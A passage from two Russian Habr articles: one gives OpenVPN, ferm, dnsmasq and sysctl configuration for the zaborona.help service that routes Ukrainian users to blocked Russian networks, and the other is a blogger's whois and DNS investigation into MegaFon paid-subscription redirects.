# Путь к папке с конфигами пользователей. Эта опция позволяет назначить индивидуальные опции для каждого пользователя. Файл перечитывается заново при каждом подключении клиента, поэтому изменения можно выполнять без перезапуска сервера.
client-config-dir ccd
ca ca.crt
cert zaborona.help.crt
key zaborona.help.key
dh dh2048.pem
```
**zaborona2.conf**
```
mode server
port 1195
proto tcp
dev-type tun
dev zaborona2
topology subnet
server 192.168.228.0 255.255.252.0
server-ipv6 2a00:1838:32:280::/112
txqueuelen 250
keepalive 300 900
persist-tun
persist-key
cipher AES-128-CBC
ncp-ciphers AES-128-GCM
#user nobody
duplicate-cn
log logs/zaborona2.log
status logs/status2.log 30
client-config-dir ccd2
ca ca.crt
cert zaborona.help.crt
key zaborona.help.key
dh dh2048.pem
```
**ccd/DEFAULT**
```
push "dhcp-option DNS 192.168.224.1"
push "dhcp-option DNS 74.82.42.42" # HE.net DNS
push "route 74.82.42.42" # Route to HE.net DNS
push "route 77.88.8.8" # Route to Yandex DNS
push "dhcp-option DNS6 2001:4860:4860::8888" # Google IPv6 dns
push "route-ipv6 2001:4860:4860::8888"
push "dhcp-option DNS6 2001:4860:4860::8844" # Google IPv6 dns
push "route-ipv6 2001:4860:4860::8844"
#Persist TUN
push "persist-tun"
# Routes
# Yandex network
push "route 5.45.192.0 255.255.192.0"
push "route 5.255.192.0 255.255.192.0"
push "route 37.9.64.0 255.255.192.0"
push "route 37.140.128.0 255.255.192.0"
push "route 77.75.152.0 255.255.248.0"
push "route 77.88.0.0 255.255.192.0"
push "route 84.201.128.0 255.255.192.0"
push "route 87.250.224.0 255.255.224.0"
push "route 93.158.128.0 255.255.192.0"
push "route 95.108.128.0 255.255.128.0"
push "route 100.43.64.0 255.255.224.0"
push "route 109.235.160.0 255.255.248.0"
push "route 130.193.32.0 255.255.224.0"
push "route 141.8.128.0 255.255.192.0"
push "route 178.154.128.0 255.255.128.0"
push "route 185.32.185.0 255.255.255.0"
push "route 185.32.186.0 255.255.255.0"
push "route 185.71.76.0 255.255.252.0"
push "route 199.21.96.0 255.255.252.0"
push "route 199.36.240.0 255.255.252.0"
push "route 213.180.192.0 255.255.224.0"
push "route-ipv6 2001:678:384::/48"
push "route-ipv6 2620:10f:d000::/44"
push "route-ipv6 2a02:6b8::/32"
push "route-ipv6 2a02:5180::/32"
# Mail.ru network
push "route 5.61.16.0 255.255.248.0"
push "route 5.61.232.0 255.255.248.0"
push "route 79.137.157.0 255.255.255.0"
push "route 79.137.183.0 255.255.255.0"
push "route 94.100.176.0 255.255.240.0"
push "route 95.163.32.0 255.255.224.0"
push "route 95.163.248.0 255.255.248.0"
push "route 128.140.168.0 255.255.248.0"
push "route 178.22.88.0 255.255.248.0"
push "route 178.237.16.0 255.255.240.0"
push "route 185.5.136.0 255.255.252.0"
push "route 185.16.148.0 255.255.252.0"
push "route 185.16.244.0 255.255.252.0"
push "route 188.93.56.0 255.255.248.0"
push "route 194.186.63.0 255.255.255.0"
push "route 195.211.20.0 255.255.252.0"
push "route 195.211.128.0 255.255.252.0"
push "route 195.218.168.0 255.255.255.0"
push "route 208.87.92.0 255.255.252.0"
push "route 217.20.144.0 255.255.240.0"
push "route 217.69.128.0 255.255.240.0"
push "route 185.6.244.0 255.255.252.0"
push "route 185.30.176.0 255.255.252.0"
push "route 195.218.190.0 255.255.254.0"
push "route-ipv6 2a00:1148::/32"
push "route-ipv6 2a00:a300::/32"
push "route-ipv6 2a00:b4c0::/32"
push "route-ipv6 2a04:4b40::/29"
# VK.com network
push "route 87.240.128.0 255.255.192.0"
push "route 93.186.224.0 255.255.240.0"
push "route 95.142.192.0 255.255.240.0"
push "route 95.213.0.0 255.255.192.0"
push "route 185.29.130.0 255.255.255.0"
push "route 185.32.248.0 255.255.252.0"
# Kaspersky network
push "route 77.74.176.0 255.255.252.0"
push "route 77.74.181.0 255.255.255.0"
push "route 77.74.183.0 255.255.255.0"
push "route 93.159.228.0 255.255.252.0"
push "route 185.54.220.0 255.255.254.0"
push "route 185.85.12.0 255.255.255.0"
push "route 185.85.14.0 255.255.254.0"
push "route 77.74.176.0 255.255.248.0"
push "route 91.103.64.0 255.255.248.0"
push "route 93.159.224.0 255.255.248.0"
push "route-ipv6 2a03:2480::/33"
# DrWeb
push "route 178.248.232.183 255.255.255.255"
push "route 178.248.233.94 255.255.255.255"
push "route 195.88.252.0 255.255.254.0"
```
**ccd2/DEFAULT**
```
push "dhcp-option DNS 192.168.228.1"
push "dhcp-option DNS 74.82.42.42" # HE.net DNS
push "route 74.82.42.42" # Route to HE.net DNS
push "route 77.88.8.8" # Route to Yandex DNS
push "dhcp-option DNS6 2001:4860:4860::8888" # Google ipv6 dns
push "route-ipv6 2001:4860:4860::8888"
push "dhcp-option DNS6 2001:4860:4860::8844" # Google ipv6 dns
push "route-ipv6 2001:4860:4860::8844"
#Persist TUN
push "persist-tun"
# Routes
# Yandex network
push "route 5.45.192.0 255.255.192.0"
push "route 5.255.192.0 255.255.192.0"
push "route 37.9.64.0 255.255.192.0"
push "route 37.140.128.0 255.255.192.0"
push "route 77.75.152.0 255.255.248.0"
push "route 77.88.0.0 255.255.192.0"
push "route 84.201.128.0 255.255.192.0"
push "route 87.250.224.0 255.255.224.0"
push "route 93.158.128.0 255.255.192.0"
push "route 95.108.128.0 255.255.128.0"
push "route 100.43.64.0 255.255.224.0"
push "route 109.235.160.0 255.255.248.0"
push "route 130.193.32.0 255.255.224.0"
push "route 141.8.128.0 255.255.192.0"
push "route 178.154.128.0 255.255.128.0"
push "route 185.32.185.0 255.255.255.0"
push "route 185.32.186.0 255.255.255.0"
push "route 185.71.76.0 255.255.252.0"
push "route 199.21.96.0 255.255.252.0"
push "route 199.36.240.0 255.255.252.0"
push "route 213.180.192.0 255.255.224.0"
push "route-ipv6 2001:678:384::/48"
push "route-ipv6 2620:10f:d000::/44"
push "route-ipv6 2a02:6b8::/32"
push "route-ipv6 2a02:5180::/32"
# Mail.ru network
push "route 5.61.16.0 255.255.248.0"
push "route 5.61.232.0 255.255.248.0"
push "route 79.137.157.0 255.255.255.0"
push "route 79.137.183.0 255.255.255.0"
push "route 94.100.176.0 255.255.240.0"
push "route 95.163.32.0 255.255.224.0"
push "route 95.163.248.0 255.255.248.0"
push "route 128.140.168.0 255.255.248.0"
push "route 178.22.88.0 255.255.248.0"
push "route 178.237.16.0 255.255.240.0"
push "route 185.5.136.0 255.255.252.0"
push "route 185.16.148.0 255.255.252.0"
push "route 185.16.244.0 255.255.252.0"
push "route 188.93.56.0 255.255.248.0"
push "route 194.186.63.0 255.255.255.0"
push "route 195.211.20.0 255.255.252.0"
push "route 195.211.128.0 255.255.252.0"
push "route 195.218.168.0 255.255.255.0"
push "route 208.87.92.0 255.255.252.0"
push "route 217.20.144.0 255.255.240.0"
push "route 217.69.128.0 255.255.240.0"
push "route 185.6.244.0 255.255.252.0"
push "route 185.30.176.0 255.255.252.0"
push "route 195.218.190.0 255.255.254.0"
push "route-ipv6 2a00:1148::/32"
push "route-ipv6 2a00:a300::/32"
push "route-ipv6 2a00:b4c0::/32"
push "route-ipv6 2a04:4b40::/29"
# VK.com network
push "route 87.240.128.0 255.255.192.0"
push "route 93.186.224.0 255.255.240.0"
push "route 95.142.192.0 255.255.240.0"
push "route 95.213.0.0 255.255.192.0"
push "route 185.29.130.0 255.255.255.0"
push "route 185.32.248.0 255.255.252.0"
# Kaspersky network
push "route 77.74.176.0 255.255.252.0"
push "route 77.74.181.0 255.255.255.0"
push "route 77.74.183.0 255.255.255.0"
push "route 93.159.228.0 255.255.252.0"
push "route 185.54.220.0 255.255.254.0"
push "route 185.85.12.0 255.255.255.0"
push "route 185.85.14.0 255.255.254.0"
push "route 77.74.176.0 255.255.248.0"
push "route 91.103.64.0 255.255.248.0"
push "route 93.159.224.0 255.255.248.0"
push "route-ipv6 2a03:2480::/33"
# DrWeb
push "route 178.248.232.183 255.255.255.255"
push "route 178.248.233.94 255.255.255.255"
push "route 195.88.252.0 255.255.254.0"
```
Конфиги разных демонов отличаются только номером порта для входящих соединений и диапазоном IP-адресов, выдаваемых клиентам.
#### Изменения настроек на лету с помощью client-config-dir
Первое время мы постоянно реадктировали список заблокированных сетей, из-за этого приходилось перезапускать демоны OpenVPN каждый раз при изменении конфигов. Из-за этого у клиентов разрывалось подключение к серверу.
Решением этой проблемы стала опция **client-config-dir**. Она используется для того, чтобы назначит индивидуальные настройки поименно каждому пользователю. Так как у нас все пользователи подключаются от имени одного клиента **public**, то файл один на всех <*b>ccd/DEFAULT*. Хитрость в том, что файл перечитывается заново при каждом подключении клиента и не требует перезапуска сервера для применения настроек.
В результате мы можем редактировать настройки сервера без отключения клиентов. и для преминения новых настроек пользователю достаточно переподключиться к серверу. Так как пользователи рано или поздно в любом случае перподключаются, новые настройки со временем применяются всем клиентам.
#### Ferm
Настройки фаерволла идентичны на всех серверах, поэтому копируем файл /etc/ferm/ferm.conf без изменений. По-умолчанию, после установки, пакет ferm сразу активирует стандартный набор правил в котором запрещены все соединения, кроме SSH на 22 порту. Так что если у вас SSH сервер находится на другом порту, будьте аккуратны, чтобы не заблокировать себя.
**/etc/ferm/ferm.conf**
```
# Имена tun-интерфейсов из конфига OpenVPN. zaborona1, zaborona2 можно заменить на zaborona+.
@def $VPN = (
zaborona+
);
# Интерфейсы сервера, смотрящие в интернет
@def $WAN_4 = eth0;
@def $WAN_6 = eth0;
# Диапазоны "серых" адресов, выдаваемых клиентам
@def $VPN_ADDR_4 = (
192.168.224.0/22
192.168.228.0/22
);
@def $ALLOW_SSH = (
Список адресов, с которых разрешено подключение по SSH
);
@def $ALLOWED_NETWORKS_V4 = (
Список ipv4-сетей, заблокированных в Украине
);
@def $ALLOWED_NETWORKS_V6 = (
Список ipv6-сетей, заблокированных в Украине
);
table filter {
chain ZABORONA_V4 {
daddr $ALLOWED_NETWORKS_V4 ACCEPT;
}
chain FORWARD {
policy DROP;
mod conntrack ctstate INVALID DROP;
if $WAN_4 of $VPN mod conntrack ctstate (ESTABLISHED RELATED) ACCEPT;
if $VPN of $WAN_4 jump ZABORONA_V4;
}
chain INPUT {
saddr $ALLOW_SSH protocol tcp dport 22 ACCEPT;
protocol tcp dport 22 REJECT reject-with icmp-port-unreachable;
}
}
table nat {
chain POSTROUTING {
saddr $VPN_ADDR_4 of $WAN_4 MASQUERADE;
}
# Балансировка меджду демонами OpenVPN
chain PREROUTING {
interface $WAN_4 protocol tcp dport 1194 mod conntrack ctstate NEW mod statistic mode random probability 0.50000000000 REDIRECT to-ports 1195;
}
}
# IPv6:
domain ip6 {
table filter {
chain ZABORONA_V6 {
daddr $ALLOWED_NETWORKS_V6 ACCEPT;
}
chain FORWARD {
policy DROP;
mod conntrack ctstate INVALID DROP;
if $WAN_6 of $VPN mod conntrack ctstate (ESTABLISHED RELATED) ACCEPT;
if $VPN of $WAN_6 jump ZABORONA_V6;
}
}
}
```
Для сравнения, вот как выглядит тот же набор правил, полученный через iptables-save:
**iptables-save**
```
# Generated by iptables-save v1.6.0 on Fri Jun 23 19:44:10 2017
*filter
:INPUT ACCEPT [54622:15244109]
:FORWARD DROP [50:2520]
:OUTPUT ACCEPT [59291:85277655]
:ZABORONA_V4 - [0:0]
-A INPUT -s 1.2.3.4/32 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable
-A FORWARD -m conntrack --ctstate INVALID -j DROP
-A FORWARD -i eth0 -o zaborona+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i zaborona+ -o eth0 -j ZABORONA_V4
-A ZABORONA_V4 -d 87.240.128.0/18 -j ACCEPT
-A ZABORONA_V4 -d 93.186.224.0/20 -j ACCEPT
-A ZABORONA_V4 -d 95.142.192.0/20 -j ACCEPT
-A ZABORONA_V4 -d 95.213.0.0/18 -j ACCEPT
-A ZABORONA_V4 -d 185.29.130.0/24 -j ACCEPT
-A ZABORONA_V4 -d 185.32.248.0/22 -j ACCEPT
-A ZABORONA_V4 -d 5.45.192.0/18 -j ACCEPT
-A ZABORONA_V4 -d 5.255.192.0/18 -j ACCEPT
-A ZABORONA_V4 -d 37.9.64.0/18 -j ACCEPT
-A ZABORONA_V4 -d 37.140.128.0/18 -j ACCEPT
-A ZABORONA_V4 -d 77.75.152.0/21 -j ACCEPT
-A ZABORONA_V4 -d 77.88.0.0/18 -j ACCEPT
-A ZABORONA_V4 -d 84.201.128.0/18 -j ACCEPT
-A ZABORONA_V4 -d 87.250.224.0/19 -j ACCEPT
-A ZABORONA_V4 -d 93.158.128.0/18 -j ACCEPT
-A ZABORONA_V4 -d 95.108.128.0/17 -j ACCEPT
-A ZABORONA_V4 -d 100.43.64.0/19 -j ACCEPT
-A ZABORONA_V4 -d 109.235.160.0/21 -j ACCEPT
-A ZABORONA_V4 -d 130.193.32.0/19 -j ACCEPT
-A ZABORONA_V4 -d 141.8.128.0/18 -j ACCEPT
-A ZABORONA_V4 -d 178.154.128.0/17 -j ACCEPT
-A ZABORONA_V4 -d 185.32.185.0/24 -j ACCEPT
-A ZABORONA_V4 -d 185.32.186.0/24 -j ACCEPT
-A ZABORONA_V4 -d 185.71.76.0/22 -j ACCEPT
-A ZABORONA_V4 -d 199.21.96.0/22 -j ACCEPT
-A ZABORONA_V4 -d 199.36.240.0/22 -j ACCEPT
-A ZABORONA_V4 -d 213.180.192.0/19 -j ACCEPT
-A ZABORONA_V4 -d 5.61.16.0/21 -j ACCEPT
-A ZABORONA_V4 -d 5.61.232.0/21 -j ACCEPT
-A ZABORONA_V4 -d 79.137.157.0/24 -j ACCEPT
-A ZABORONA_V4 -d 79.137.183.0/24 -j ACCEPT
-A ZABORONA_V4 -d 94.100.176.0/20 -j ACCEPT
-A ZABORONA_V4 -d 95.163.32.0/19 -j ACCEPT
-A ZABORONA_V4 -d 95.163.248.0/21 -j ACCEPT
-A ZABORONA_V4 -d 128.140.168.0/21 -j ACCEPT
-A ZABORONA_V4 -d 178.22.88.0/21 -j ACCEPT
-A ZABORONA_V4 -d 178.237.16.0/20 -j ACCEPT
-A ZABORONA_V4 -d 185.5.136.0/22 -j ACCEPT
-A ZABORONA_V4 -d 185.16.148.0/22 -j ACCEPT
-A ZABORONA_V4 -d 185.16.244.0/22 -j ACCEPT
-A ZABORONA_V4 -d 188.93.56.0/21 -j ACCEPT
-A ZABORONA_V4 -d 194.186.63.0/24 -j ACCEPT
-A ZABORONA_V4 -d 195.211.20.0/22 -j ACCEPT
-A ZABORONA_V4 -d 195.218.168.0/24 -j ACCEPT
-A ZABORONA_V4 -d 217.20.144.0/20 -j ACCEPT
-A ZABORONA_V4 -d 217.69.128.0/20 -j ACCEPT
-A ZABORONA_V4 -d 195.211.128.0/22 -j ACCEPT
-A ZABORONA_V4 -d 208.87.92.0/22 -j ACCEPT
-A ZABORONA_V4 -d 77.74.176.0/22 -j ACCEPT
-A ZABORONA_V4 -d 77.74.181.0/24 -j ACCEPT
-A ZABORONA_V4 -d 77.74.183.0/24 -j ACCEPT
-A ZABORONA_V4 -d 93.159.228.0/22 -j ACCEPT
-A ZABORONA_V4 -d 185.54.220.0/23 -j ACCEPT
-A ZABORONA_V4 -d 185.85.12.0/24 -j ACCEPT
-A ZABORONA_V4 -d 185.85.14.0/23 -j ACCEPT
-A ZABORONA_V4 -d 77.74.176.0/21 -j ACCEPT
-A ZABORONA_V4 -d 91.103.64.0/21 -j ACCEPT
-A ZABORONA_V4 -d 93.159.224.0/21 -j ACCEPT
-A ZABORONA_V4 -d 8.8.8.8/32 -j ACCEPT
-A ZABORONA_V4 -d 8.8.4.4/32 -j ACCEPT
-A ZABORONA_V4 -d 74.82.42.42/32 -j ACCEPT
-A ZABORONA_V4 -d 77.75.152.0/21 -j ACCEPT
-A ZABORONA_V4 -d 185.71.72.0/21 -j ACCEPT
-A ZABORONA_V4 -d 185.6.244.0/22 -j ACCEPT
-A ZABORONA_V4 -d 185.30.176.0/22 -j ACCEPT
-A ZABORONA_V4 -d 195.218.190.0/23 -j ACCEPT
-A ZABORONA_V4 -d 195.88.252.0/23 -j ACCEPT
-A ZABORONA_V4 -d 178.248.232.183/32 -j ACCEPT
-A ZABORONA_V4 -d 178.248.233.94/32 -j ACCEPT
COMMIT
# Completed on Fri Jun 23 19:44:10 2017
# Generated by iptables-save v1.6.0 on Fri Jun 23 19:44:10 2017
*nat
:PREROUTING ACCEPT [917:61256]
:INPUT ACCEPT [430:26400]
:OUTPUT ACCEPT [122:8320]
:POSTROUTING ACCEPT [122:8320]
-A PREROUTING -i eth0 -p tcp -m tcp --dport 1194 -m conntrack --ctstate NEW -m statistic --mode random --probability 0.50000000000 -j REDIRECT --to-ports 1195
-A POSTROUTING -s 192.168.224.0/22 -o eth0 -j MASQUERADE
-A POSTROUTING -s 192.168.228.0/22 -o eth0 -j MASQUERADE
COMMIT
# Completed on Fri Jun 23 19:44:10 2017
```
Балансировку между демонами выполняет это правило:
```
-A PREROUTING -i eth0 -p tcp -m tcp --dport 1194 -m conntrack --ctstate NEW -m statistic --mode random --probability 0.50000000000 -j REDIRECT --to-ports 1195
```
С 50% вероятностью подключения к порту 1194 перенаправляются на порт 1195. Так, подключения равномерно распределяются между двумя процессами OpenVPN. Если бы процессов было больше, нужно было бы добавить дополнительные правила на каждый процесс и изменить вероятность срабатывания каждого правила.
#### Кеширующий резолвер dnsmasq
По-умолчанию dnsmasq принимает запросы только с локального интерфейса 127.0.0.1, поэтому разрешаем запросы с адресов VPN клиентов и устанавливаем размер DNS-кеша.
**/etc/dnsmasq.d/zaborona**
```
listen-address=127.0.0.1,192.168.224.1,192.168.228.1
cache-size=1000
```
#### sysctl
Файл systctl.conf с настройками ядра. В нем включаем форвардинг IP-пакетов и другие опции для оптимизации системы под VPN сервер.
**/etc/sysctl.conf**
```
# Включаем форвардинг ipv4 и ipv6 пакетов
net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1
net.netfilter.nf_conntrack_max=65535
net.netfilter.nf_conntrack_generic_timeout = 600
net.netfilter.nf_conntrack_icmp_timeout = 30
net.netfilter.nf_conntrack_tcp_timeout_close = 10
net.netfilter.nf_conntrack_tcp_timeout_close_wait = 60
net.netfilter.nf_conntrack_tcp_timeout_established = 1800
net.netfilter.nf_conntrack_tcp_timeout_fin_wait = 120
net.netfilter.nf_conntrack_tcp_timeout_last_ack = 30
net.netfilter.nf_conntrack_tcp_timeout_max_retrans = 300
net.netfilter.nf_conntrack_tcp_timeout_syn_recv = 60
net.netfilter.nf_conntrack_tcp_timeout_syn_sent = 120
net.netfilter.nf_conntrack_tcp_timeout_time_wait = 120
net.netfilter.nf_conntrack_tcp_timeout_unacknowledged = 300
net.netfilter.nf_conntrack_udp_timeout = 60
net.netfilter.nf_conntrack_udp_timeout_stream = 180
net.ipv4.tcp_slow_start_after_idle = 0
net.ipv4.tcp_fastopen = 3
net.ipv4.tcp_rmem = 4096 262143 4194304
net.core.rmem_max = 4194304
net.core.rmem_default = 262143
net.ipv4.tcp_wmem = 4096 262143 4194304
net.core.wmem_max = 4194304
net.core.wmem_default = 262143
net.ipv4.tcp_keepalive_time = 600
net.ipv4.tcp_keepalive_intvl = 90
net.ipv4.tcp_keepalive_probes = 5
net.ipv4.tcp_congestion_control=bbr
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0
net.ipv6.conf.all.use_tempaddr = 2
```
#### Старт сервисов
После того, как все сервисы настроены, можно добавить их старт в автозагрузку.
Предварительно увеличиваем лимит на число открытых файловых дескрипторов для процессов OpenVPN, иначе при большом числе клиентов мы их превысим и получим ошибку **Too many open files** из-за большого числа открытых сокетов.
```
systemctl edit openvpn@.service
[Service]
LimitNOFILE=8192
```
```
# Перечитываем стартовые скрипты, чтобы изменения вступили в силу.
systemctl daemon-reload
# Добавляем в автозагрузку и сразу стартуем оба процесса OpenVPN.
systemctl enable --now openvpn@zaborona1
systemctl enable --now openvpn@zaborona2
# Перезапускаем сервисы dnsmasq и ferm. Они добавлены в автозагрузку по умолчанию после установки.
systemctl restart dnsmasq
systemctl restart ferm
```
Для проверки корректности настроек, можно перезагрузить сервер и убедиться что все сервисы запущены.
Сломанные ОС пользователей
--------------------------
У значительной доли пользователей оказались устаревшие, сломанные ОС. Очень часто в системе сломана поддержка IPv6, например во многих сборках Windows 7 «от Васяна с rutracker», где отключены автоматические обновления системы. Мы завели [Wiki](https://github.com/zhovner/zaborona_help/wiki) на Github, в которую пользователи самостоятельно могут добавлять инструкции. Там описаны решения некоторых распространенных проблем.
Вот наиболее типичные случаи кривого пользовательского окружения:
### Windows XP
Несмотря на то, что поддержка этой OC закончилась ВОСЕМЬ лет назад, ее по-прежнему используют. На ней не работет много современных программ, веб-браузеры, а также последняя версия OpenVPN 2.4. Этой теме посвящена [отдельная статья в нашей Wiki](https://github.com/zhovner/zaborona_help/wiki/Windows-XP).
### Windows 7
У многих пользователей отключены автоматические обновления Windows. Почему-то, в такой конфигурации на Windows 7 часто ломается IPv6. При подключении в логах OpenVPN появляется такая ошибка:
```
NETSH: C:\WINDOWS\system32\netsh.exe interface ipv6 set address interface=32 2a00:1838:30:7280::1149 store=active
ERROR: netsh command failed: returned error code 1
```
Причину этой аномалии не удалось выяснить. Зато у Microsoft есть специальная утилита на такой случай — [IPv6 Re-enabler](https://support.microsoft.com/en-us/help/929852/how-to-disable-ipv6-or-its-components-in-windows). Ссылка на скачивание внизу с подписью *«Re-enable IPv6 on nontunnel interfaces and on IPv6 tunnel interfaces»*
### Android 4.4 и другие
Каждый вендор ломает VPN Framework в Android по-своему. Многие сборки Android имеют проблемы, которые не поддаются объяснению, например часто жалуются на то, что при подключенном VPN DNS запросы выполняются по несколько секунд. В Android 4.4 полностью [сломан VPN](https://github.com/zhovner/zaborona_help/wiki/Android-4.4).
### Mikrotik
В RouterOS есть поддержка OpenVPN. К сожалению она чаще не работает, чем работает. Статья посвященная [проблеме Mikrotik](https://github.com/zhovner/zaborona_help/wiki/Mikrotik).
Мы отказались ломать наши сервера, чтобы сделать их совместимыми с багами Mikrotik, и предложили пользователям писать баг-репорты в компанию Miktorik. В результате было выпущено несколько исправлений в версии RouterOS 6.40rc24.
```
What's new in 6.40rc24 (2017-Jun-20 09:38):
*) ovpn - added support for topology subnet for IP mode;
*) ovpn - added support for "push-continuation";
*) ovpn - fixed duplicate default gateway presence when receiving extra routes;
```
Хотя по сообщениям пользователей, проблема так и не решена полностью. Советую всем заинтересованным лицам продолжить отправлять баг-репорты в Mikrotik до полного решения проблемы. | https://habr.com/ru/post/331178/ | null | ru | null |
# Как Мегафон спалился на мобильных подписках
Обсуждение операторов сотовой связи в Телеграм [t.me/opsosru](https://t.me/opsosru)
Уже давно как не смешные анекдоты ходят истории о платных мобильных подписках на IoT устройствах.

[*С Пикабу*](https://pikabu.ru/story/kak_vorota_podpisalis_na_platnyie_servisyi_mts_5921880?cid=113723480)
Всем понятно, что без действий сотовых операторов эти подписки не обходятся.
Но операторы сотовой связи упорно утверждают, что это абоненты лохи:

*[оригинал](https://pikabu.ru/story/kak_megafon_podpisyivaet_na_platnyiy_kontent_6644978?cid=138794155)*
За много лет я ни разу не подхватывал эту заразу и, даже думал, что люди так попадают из-за своей компьютерной безграмотности. Но я ошибался…
Недавно, расшарив интернет с Мегафона, я сидел и тихо работал за компом до тех пор, пока при переходе по очередной ссылке в гугле не произошёл редирект

и мне открылось вот такое окно

Разумеется, меня одолел профессиональный интерес.
Я сразу понял, что это оно! То самое, о чём так часто пишут и меня сейчас попытаются развести на деньги.
**Мелкий серый текст окна**
На сайте представлены материалы в следующих рубриках: аудио-приколы, видео, картинки, музыка, поздравления, полезные статьи, рецепты, советы, толкование фамилий, цитаты и афоризмы, прогноз погоды.
Но в нём ничего не сказано о платных подписках…
Так как у меня на счету этого телефона 0 рублей и нет всяких «Кредитов доверия», то я нажал кнопку «Продолжить».
Произошёл редирект на другую страницу. Оформление очень схожее с первой

Обычный человек не заострит на этом внимание и подумает, что содержимое осталось такое же.
Но серый, еле заметный текст совершенно другой:
> Нажатием на кнопку «Продолжить» Вы подтверждаете своё согласие с подключением подписки vsewap.ru и Условиями предоставления подписки. Стоимость подписки 35.0 руб. с учетом НДС за 1 день. Оплата производится с основного счета. Услуга предоставляется Контент-провайдером ООО Информпартнер.
Продолжаю эксперимент и жму «Продолжить». И прилетает SMS…

подписка оформлена! Разумеется, что я сразу её отключил.
Как большинство думает в таких случаях, что у меня, наверняка, вирус на компе и он меня редиректнул на сайт контент-провайдера.
Но в данном случае делает редирект именно Мегафон по той же технологии которая Вас редиректит в случае каких либо ограничениях интернета либо применяется wap-click. К сожалению более точно сказать не могу.

С такими редиректами сталкиваются и корпоративные пользователи:

### Ищу место откуда растут «ноги»:
Проверяю кому принадлежит домен, сайт на котором меня хочет «развести»:

Как неожиданно! Домен принадлежит Мегафону!
И такое совпадение, что ip вэб-сервера тоже принадлежит Мегафону
```
nslookup truvpro.ru
Name: truvpro.ru
Address: 31.173.34.227
Name: truvpro.ru
Address: 31.173.34.226
inetnum: 31.173.32.0 - 31.173.39.255
netname: MF-MOSCOW-BBA-POOL-31-173-32
descr: Moscow Branch of OJSC MegaFon
role: Moscow Branch of PJSC **MegaFon Internet Center**
```
Можно предположить, что кто-то из клиентов Мегафона занимается мошенничеством и просто подставляет честного оператора.
Поверяем сайт, который позволяет управлять подписками всех известных Мегафону контент-провайдеров [moy-m-portal.ru](http://moy-m-portal.ru)
**Он так же принадлежит мегафону**
whois moy-m-portal.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% [www.ripn.net/about/servpol.html#3.2](http://www.ripn.net/about/servpol.html#3.2) (in Russian)
% [www.ripn.net/about/en/servpol.html#3.2](http://www.ripn.net/about/en/servpol.html#3.2) (in English).
domain: MOY-M-PORTAL.RU
nserver: ns1.misp.ru.
nserver: ns2.misp.ru.
state: REGISTERED, DELEGATED, VERIFIED
org: North-West Branch of PJSC «MegaFon»
registrar: RU-CENTER-RU
admin-contact: [www.nic.ru/whois](https://www.nic.ru/whois)
created: 2016-04-07T15:00:38Z
paid-till: 2020-04-07T15:00:38Z
free-date: 2020-05-08
source: TCI
Last updated on 2019-04-18T11:31:32Z
**И он так же расположен на тех же ip, что и сайт мошенников!**
nslookup moy-m-portal.ru
Name: moy-m-portal.ru
Address: 31.173.34.227
Name: moy-m-portal.ru
Address: 31.173.34.226
Предположим, что оператор использует балансировщик класса Citrix Netscaler, который, например, подставляет ID абонента для его идентификации.
Смотрим какие ещё домены были замечены на этих адресах:
[dnslytics.com/reverse-ip/31.173.34.226](https://dnslytics.com/reverse-ip/31.173.34.226)
[dnslytics.com/reverse-ip/31.173.34.227](https://dnslytics.com/reverse-ip/31.173.34.227)
**А их всего 19!**
arusav.ru
dmvasor.ru
mfprovas.ru
moy-m-portal.ru
mvpvas.ru
podpiskimf.ru
ppmprop.ru
pravvopros.ru
promfvas.ru
propodpiski.ru
propodpiskimf.ru
proprovas.ru
ropovasru.ru
savorpm.ru
truvpro.ru
vasmfpro.ru
vasmpro.ru
vaspromf.ru
vasprovp.ru
Что-то слишком жидко для дорогущего оборудования…
Большинство зарегистрировано в марте 2019 *(«created: 2019-03-20»)*
Заходя на любой из них, Google Chrome сообщает, что у Вас могут украсть деньги:

То есть все домены, принадлежащие Мегафону, замечены в **мошеннических** действиях с платными подписками!
А мы хорошо помним, что по Российскому праву ([ситуация с создателем Kate Mobile](https://habr.com/ru/post/439112/)) ответственность за действия, произведённые с конкретного ip несёт владелец IP. А тут ещё совпадает и владелец домена…
Я решил посмотреть на сайты, на которые подписывает Мегафон (из списка, размещённого здесь: [moy-m-portal.ru](http://moy-m-portal.ru) ). Конечно не все, а с благословения великого Рандома.
**Сайты, за которые зацепился глаз**
**zvoook.com**
Creation Date: 2019-02-18T07:32:00Z
Registrant Name: Protection of Private Person
Registrar: Registrar of domain names REG.RU LLC
**yottupe.com**
Creation Date: 2019-04-08T17:47:46Z
Registrant Name: Protection of Private Person
registrar: REGRU-RU
**futod.space**
Creation Date: 2019-03-26T23:01:18.0Z
Registrant Organization: Privacy Protection
registrar: REGRU-RU
**vkusnopoedim.com**
Creation Date: 2019-03-21T11:52:58Z
Registrar: Registrar of domain names REG.RU LLC
Registrant Name: Protection of Private Person
**zavcev.com**
Creation Date: 2019-02-18T10:33:48Z
Registrar: Registrar of domain names REG.RU LLC
Registrant Name: Protection of Private Person
**MUSICA-YONTUBE.COM**
Creation Date: 2019-03-11T12:41:40Z
Registrar: REGISTRAR OF DOMAIN NAMES REG.RU LLC
**files-zilla.com**
Creation Date: 2019-02-18T10:33:14Z
Registrar: Registrar of domain names REG.RU LLC
Registrant Name: Protection of Private Person

Итого:
1. Все они зарегистрированы у регистратора REG.RU
2. У всех скрыта организация-владелец
3. Все они свежие. Точнее новые появляются с завидной регулярностью. (можно отследить даже хронологию).
**На всех сайтах в футере как по шаблону один и тот же текст**
